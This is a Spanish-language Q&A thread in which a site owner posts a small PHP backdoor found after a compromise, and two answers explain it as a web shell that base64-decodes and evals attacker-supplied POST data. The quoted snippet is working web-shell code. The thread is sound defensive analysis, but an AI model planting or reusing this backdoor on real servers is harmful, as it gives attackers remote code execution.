¿Qué significa este fragmento de código de inyección de URL?

1

No sé si se considera o no incluir una sola pieza de código que pueda ser maliciosa. Pero recientemente mi sitio fue víctima de alguna inyección de URL. Me preguntaba si alguien puede decirme qué hace este código:

<?php 
    $mujj = $_POST['x']; 
    if ($mujj!="") { 
       $xsser=base64_decode($_POST['z0']); 
        @eval("\$safedg = $xsser;"); 
    } ?>
<?php
    
pregunta Sarge 24.08.2015 - 14:39
fuente

2 respuestas

1

Busqué más sobre su problema y descubrí que un atacante usó una aplicación opensource webshell para ejecute shell en su servidor en una variedad de lenguajes de script comunes como ASP, ASPX, PHP, JSP, PL y Python.

Un estudio rápido de ese guión me lleva a saber que:

$mujj = $_POST['x']; 
    if ($mujj!="") { 

Esto comprueba que la contraseña (contraseña para algo) que lleva la variable x no esté vacía (lo que puede traducir por: cuando el usuario inicia sesión )

$xsser=base64_decode($_POST['z0']);

Descodifique el contenido de la variable z0 y guárdelo en $xsser . En realidad, z0 se refiere a un archivo (¿es probable que permita la carga de archivos en su aplicación web o puede ser que esta aplicación maliciosa permita la carga de archivos? ¿Qué cosa es lógica también?)

@eval("\$safedg = $xsser;");

El contenido guardado en $xsser se ejecuta (operación peligrosa) en su servidor.

    
respondido por el user45139 24.08.2015 - 16:01
fuente
1

Es un shell PHP que lee y evalúa (ejecuta) los comandos PHP enviados al shell a través de mensajes HTTP-POST codificados en base64.

Necesita algún valor para que x pase la verificación, y luego los comandos PHP codificados en b64 enviados a través del valor z0 .

    
respondido por el efr4k 24.08.2015 - 14:48
fuente

Lea otras preguntas en las etiquetas